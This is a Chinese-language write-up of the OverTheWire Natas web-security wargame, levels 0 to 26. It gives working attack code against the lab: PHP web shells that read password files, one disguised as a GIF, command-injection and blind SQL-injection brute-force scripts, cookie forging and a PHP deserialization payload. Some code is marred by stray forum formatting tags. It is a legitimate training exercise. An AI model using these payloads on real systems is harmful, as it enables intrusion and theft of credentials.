web安全Wargame—Natas解题思路(1-26)
前言:
接下来给大家分享一下,1-20题的WriteUp。
Natas0:
Natas1:
Natas2:
Natas3:
Natas4:
Natas5:
Natas6:
Natas7:
Natas8:
Natas9:
Natas10:
Natas11:
|
01
02
03
04
05
06
07
08
09
10
|
function xor_encrypt($in){ $key = '<censored>'; #预定义参数key $text = $in; #输入参数 $outText = ''; #输出参数 // Iterate through each character for($i=0;$i<strlen($text);$i++) { #for循环,遍历输入参数 $outText .= $text[$i] ^ $key[$i % strlen($key)]; #将输入参数对应位和key对应位异或,key位数不够则从头循环,结果存到输出参数 } return $outText; #返回加密结果} |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
|
<?php$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");$data= 'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw';function xor_encrypt($in,$out) { $key ='' ; $text = $in; for($i=0;$i<strlen($text);$i++) { $key .= $text[$i] ^ $out[$i]; } return $key;} echo xor_encrypt(json_encode($defaultdata),base64_decode($data)); ?> |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
|
<?php$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");function xor_encrypt($in) { $key = 'qw8J'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText;}echo base64_encode(xor_encrypt(json_encode($defaultdata)));?> |
Natas12:
|
1
2
3
|
<?phpsystem('cat /etc/natas_webpass/natas13');?> |
Natas13:
|
1
2
3
4
5
|
GIF89a<?phpsystem('cat /etc/natas_webpass/natas14');?> |
Natas14:
Natsa15:
|
1
|
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; |
|
1
2
3
4
|
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); |
|
1
|
'username':'natas16" AND password LIKE binary "%s"%字符' |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
|
import requestsurl = "http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php"chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"payload = r'natas16" AND password LIKE binary "%s" #'#使用like模糊查询不会区分大小写,要带上binary。key = "%"while len(key) <= 32: #循环32次 for i in chr: #确定字符 a = key[:-1]+i+key[-1:] print a req = requests.post(url=url,data={'username':payload%a}) if "This user exists" in req.text: key = a print key print key #输出key |
|
1
|
passthru("grep -i \"$key\" dictionary.txt"); |
|
1
|
passthru("grep-i "($grep ^a etc/natas_webpasswd/natas17)wrong \" dictionary.txt"); |
|
01
02
03
04
05
06
07
08
09
10
11
|
import requestskey = ''char = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'[/color][/font][/align][align=left][font=宋体][color=Black][/color][/font][/align][align=left][font=宋体][color=Black]while len(key) < 32: for i in range(len(char)): payload = {'needle':'$(grep ^'+key+char+'.* /etc/natas_webpass/natas17)wrong','submit':'Search'} req = requests.get(url=url,params=payload) if 'wrong' not in req.text: key += char print key |
Natas17:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
|
import requests[/color] [color=Black]url = 'http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/index.php'key =''for i in range(1,33): a = 32 c = 126 while a<c: b = (a+c)/2 payload=r'natas18" and if(%d<ascii(mid(password,%d,1)),sleep(2),1) and "" like "'%(b,i) try: req = requests.post(url=url,data={"username":payload},timeout=2) except requests.exceptions.Timeout,e: a=b+1 b=(a+c)/2 continue c=b key +=chr(b) print key |
Natas18:
Natas19:
|
1
2
3
4
5
6
7
|
a = []for i in range(30,40): for j in range(30,40): a.append( '%d%d'%(i,j))with open ("1.txt","w")as f: for i in a: f.write(i+"\n") |
Natas20:
|
1
2
3
4
5
|
查看第一个网页源码,发现主要功能就是判断session[admin]=1后显示密码;if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; |
print "Password: <censored></pre>";[/mw_shl_code]
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
Natas22:
|
1
2
3
4
5
|
if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } |
|
1
2
3
4
5
6
|
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } |
|
1
2
3
4
5
6
7
8
|
if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } |
Natas24:
|
01
02
03
04
05
06
07
08
09
10
|
<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; }} |
Natas25:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
function setLanguage(){ #选择语言 /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] ))#检查输入 return 1; safeinclude("language/en"); }function safeinclude($filename){ #检查输入参数 // check for directory traversal if(strstr($filename,"../")){ #禁止目录遍历 logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ #文件访问控制 logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { #检测目录是否存在 include($filename); return 1; } return 0;}function logRequest($message){ #请求日志 $log="[". date("d.m.Y H::i:s",time()) ."]"; #时间日期 $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];#加http_user_agent $log=$log . " \"" . $message ."\"\n"; #加上message $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); #将日志信息写入文件 fwrite($fd,$log); fclose($fd); } |
Natas26:
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class Logger{ private $logFile; #三个私有参数 private $initMsg; private $exitMsg; function __construct($file){ #类创建时调用 // initialise variables #初始化变量 $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message #写入初始信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ #写入信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ #类销毁时调用 // write exit message #写入退出信息 $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } |
|
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
|
<?phpclass Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct(){ #注入信息 $this->initMsg=""; $this->exitMsg="<?echo include '/etc/natas_webpass/natas27';?>"; $this->logFile="img/aaa.php"; }}$test = new Logger();echo serialize($test);echo "\n";echo base64_encode(serialize($test)); #显示base64编码后的序列化字符串?> |
END~
大家有任何问题可以提问,更多文章可到i春秋论坛阅读哟~
web安全Wargame—Natas解题思路(1-26)的更多相关文章
- 阿里聚安全攻防挑战赛第三题Android PwnMe解题思路
阿里聚安全攻防挑战赛第三题Android PwnMe解题思路 大家在聚安全挑战赛正式赛第三题中,遇到android app 远程控制的题目.我们今天带你一探究竟,如何攻破这道题目. 一.题目 购物应用 ...
- leetcode array解题思路
Array *532. K-diff Pairs in an Array 方案一:暴力搜索, N平方的时间复杂度,空间复杂度N 数组长度为10000,使用O(N平方)的解法担心TLE,不建议使用,尽管 ...
- MySQL-注释-Navicat基本使用-复杂查询练习题-解题思路-pymysql操作数据库-SQL注入-05
目录 mysql语句注释 navicat 的基本使用 特色(个人总结) 与数据服务器建立连接 创建&打开数据库.表 创建 打开 修改操作表结构 修改表结构 查询修改操作表数据 基本语句对应的操 ...
- 记一次CTF比赛过程与解题思路-MISC部分
前言 最近好久没更新博客和公众号了,有朋友问是不是在憋大招,但我不好意思说其实是因为最近一段时间太懒了,一直在当咸鱼- 意识到很久没更新这个问题,我是想写点什么的,但好像一直当咸鱼也没啥可分享的,最近 ...
- n皇后2种解题思路与代码-Java与C++实现
林炳文Evankaka原创作品.转载请注明出处http://blog.csdn.net/evankaka 摘要:本文主要讲了n皇后问题的解题思路,并分别用java和c++实现了过程,最后,对于算法改进 ...
- [LeetCode] 16. 3Sum Closest 解题思路
Given an array S of n integers, find three integers in S such that the sum is closest to a given num ...
- [LeetCode] 234. Palindrome Linked List 解题思路
Given a singly linked list, determine if it is a palindrome. Follow up:Could you do it in O(n) time ...
- [LeetCode] 76. Minimum Window Substring 解题思路
Given a string S and a string T, find the minimum window in S which will contain all the characters ...
- [LeetCode] 3Sum 解题思路
Given an array S of n integers, are there elements a, b, c in S such that a + b + c = 0? Find all un ...
随机推荐
- angular中如果几个请求相互不依赖,但是请求结果需要一起处理,可以使用
- ERRORS !MySQL 和 Javaweb 的报错合集
ERROR:1175. You are using safe update mode and you tried to update a table without a WHERE that uses ...
- LVS的DR模式测试案例<仅个人记录>
初始概念 大家都知道LVS,是章文嵩博士创建的,所以首先推一下主站吧!http://zh.linuxvirtualserver.org/ LVS集群分为三层结构: 负载调度器(load balance ...
- SELinux入门简介
操作系统有两类访问控制:自主访问控制(DAC)和强制访问控制(MAC).标准Linux安全是一种DAC,SELinux为Linux增加了一个灵活的和可配置的的MAC. 进程启动时所拥有的权限就是运行此 ...
- Workbench利用Python驱动DM执行Js进行建模
Workbench的工作平台下可以利用Python进行一些操作,包括添加system和component等等.DM可以通过执行Jscript脚本进行自动建模,因此,结合这两块的内容,可以利用Pytho ...
- 当Vue中img的src是动态渲染时不显示问题
最近遇见动态渲染img时,想起了当初刚开始写vue时,曾经遇见的一个小小坑. Vue中:img的src属性是动态渲染时不显示问题1.需求:展示用户头像,数据从后台获取,如果没有拿到则显示默认图片. 如 ...
- DTO的问题
首先使用写好的excle将表中的列进行复制,然后生成代码. 实现一个类继承FormCommonDTO.注意父类有的属性子类一定不能写,否则转换时会报错. 字段名字不一样,意义一样的,不能删除
- 从零开始学习java(一)java基础语法
从公司裸辞一个月,原本工作是做VB的,现在想从事java:在找工作的时候总是要什么项目经验,多少有些不爽,所有语言都有共 通性,我就不信java有这么难?给自己点时间来学习.坚持一个月自学,看看自己的 ...
- Lambda表达式按字段名字排序
using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; us ...
- idea设置utf-8